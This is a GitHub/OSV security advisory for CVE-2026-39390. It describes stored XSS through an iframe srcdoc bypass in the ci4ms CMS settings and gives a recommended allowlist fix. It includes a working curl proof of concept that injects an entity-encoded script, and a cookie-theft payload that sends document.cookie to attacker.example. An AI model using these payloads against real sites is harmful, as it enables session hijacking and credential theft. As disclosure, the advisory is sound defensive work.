CVE-2026-39390: Ci4 cms erp/ci4ms Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3hr-cp7x-44r2",
  "modified" : "2026-04-08T19:15:21Z",
  "published" : "2026-04-08T19:15:21Z",
  "aliases" : [ "CVE-2026-39390" ],
  "summary" : "CI4MS has stored XSS via srcdoc attribute bypass in Google Maps iframe setting",
  "details" : "## Summary\n\nThe Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `<iframe>` allowlist and regex-based removal of `on\\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `<iframe srcdoc=\"...\">` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.\n\n## Details\n\n**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):\n\n```php\n$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\"[^\"]*\"/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\\'[^\\']*\\'/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*[^\\s>]+/i', '', $mapValue);\nsetting()->set('Gmap.map_iframe', $mapValue);\n```\n\nThe three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.\n\n**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):\n\n```php\n<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>\n```\n\nThe output applies `strip_tags` with the same `<iframe>` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.\n\n**Why HTML entities bypass `strip_tags`**: A payload like `<iframe srcdoc=\"&lt;script&gt;alert(1)&lt;/script&gt;\">` contains only one tag (`<iframe>`), which is in the allowlist. The entity-encoded content (`&lt;script&gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `<script>alert(1)</script>`.\n\n**Why this is same-origin**: Per the HTML specification, an `<iframe srcdoc=\"...\">` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.\n\n## PoC\n\n**Prerequisites**: Authenticated admin session with `update` role on the Settings module.\n\n**Step 1: Inject the payload**\n\n```bash\ncurl -X POST 'https://target/backend/settings/compInfos' \\\n  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \\\n  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'\n```\n\nThe `cMap` value decodes to:\n```html\n<iframe srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"></iframe>\n```\n\n**Step 2: Visit any public page that includes the Google Maps widget**\n\nNavigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin.\n\n**Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution.\n\n**Cookie theft variant**:\n```\n<iframe srcdoc=\"&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;\"></iframe>\n```\n\n## Impact\n\n- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.\n- **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.\n- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.\n- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.\n\nThe attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.\n\n## Recommended Fix\n\nReplace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:\n\n```php\n// In modules/Settings/Controllers/Settings.php, replace lines 49-52:\n$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));\n// Strip all attributes except safe ones for iframes\n$mapValue = preg_replace_callback(\n    '/<iframe\\s+([^>]*)>/i',\n    function ($matches) {\n        $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];\n        preg_match_all('/(\\w+)\\s*=\\s*(?:\"([^\"]*)\"|\\'([^\\']*)\\'|(\\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);\n        $safe = '';\n        foreach ($attrs as $attr) {\n            $name = strtolower($attr[1]);\n            $value = $attr[2] ?: $attr[3] ?: $attr[4];\n            if (in_array($name, $allowedAttrs, true)) {\n                // For src, only allow https URLs (block javascript: etc.)\n                if ($name === 'src' && !preg_match('#^https://#i', $value)) {\n                    continue;\n                }\n                $safe .= ' ' . $name . '=\"' . esc($value) . '\"';\n            }\n        }\n        return '<iframe' . $safe . '>';\n    },\n    $mapValue\n);\n```\n\nThis allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39390"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:15:21Z",
    "nvd_published_at" : "2026-04-08T15:16:13Z"
  }
}